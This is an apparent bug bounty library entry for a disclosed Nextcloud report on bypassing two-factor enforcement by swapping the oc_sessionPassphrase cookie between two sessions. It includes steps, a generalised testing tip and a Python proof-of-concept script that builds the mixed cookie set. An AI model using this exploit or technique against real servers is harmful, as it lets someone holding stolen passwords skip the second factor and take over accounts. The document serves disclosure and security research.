# Two-factor authentication enforcement bypass

Mixing oc_sessionPassphrase cookies from two sessions of the same 2FA-enforced account bypasses the two-factor challenge and grants dashboard access.

- Payout: $750
- Severity: high
- Program: Nextcloud
- Found by: abdullah-a
- Disclosed: 2021-07-31
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1050244
- Library page: https://bugbountylibrary.com/r/h1%3A1050244
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:high tech:php technique:chained vuln:auth-bypass vuln:mfa-bypass

**Target:** Nextcloud server login / two-factor enforcement session handling
**Root cause:** Session validation ties the 2FA-enforced state to the oc_sessionPassphrase cookie in a way that accepts a passphrase from a different session of the same user, so the enforcement check passes without completing 2FA.
**Steps:**
1. Admin creates group 'Enforcement', user 'Bypass', enables 2FA enforcement for that group.
2. Log in as Bypass in session A; observe 2FA-enforced block message.
3. Log in as Bypass in session B (second session).
4. Take oc_sessionPassphrase from session B and replace it in session A's cookie jar.
5. Load the dashboard with the mixed cookies; 2FA enforcement is bypassed.
**How found:** Researcher noticed the 2FA enforcement block and experimented with parallel sessions, observing that swapping the oc_sessionPassphrase cookie between two sessions of the same account cleared the enforcement gate; root cause not fully determined.
**Exploitation:** Attacker with valid credentials for a 2FA-enforced account opens two parallel sessions, swaps the oc_sessionPassphrase cookie between them, and uses the resulting cookie set to reach the authenticated dashboard without ever completing the second factor.
**Insight:** When a 2FA gate is enforced per-session, test whether session-binding cookies (passphrase/session tokens) are validated against the specific session or merely against the user — cross-session cookie mixing often defeats the gate.

## Proof of concept (copied exactly from the original report)

**Python script mixing session cookies to bypass 2FA**

```
#!/usr/bin/python3
# python3 -m pip install requests beautifulsoup4
# python3 bypass.py
from requests import Session
from bs4 import BeautifulSoup

class NextCloud(object):
    def __init__(self, baseURL):
        self.session = Session()
        self.baseURL = baseURL

    def login(self, data):
        response = self.session.get(f'{self.baseURL}/login')
        soup = BeautifulSoup(response.text, 'html.parser')
        data.update({
            'requesttoken': soup.find('head')['data-requesttoken']
        })
        self.session.post(f'{self.baseURL}/login', data = data)
    
    def getCookies(self):
        return self.session.cookies.get_dict()

if __name__ == '__main__':
    baseURL = 'http://nextcloud.diefunction.local'
    data = {
        'user': 'bypass',
        'password': 'NextCloudEnforcement'
    }
    firstSession = NextCloud(baseURL)
    secondSession = NextCloud(baseURL)
    firstSession.login(data)
    secondSession.login(data)
    cookies = firstSession.getCookies()
    cookies['oc_sessionPassphrase'] = secondSession.getCookies()['oc_sessionPassphrase']
    print(f'[Cookies] {cookies}') # change your browser cookies to bypass enforcement
```

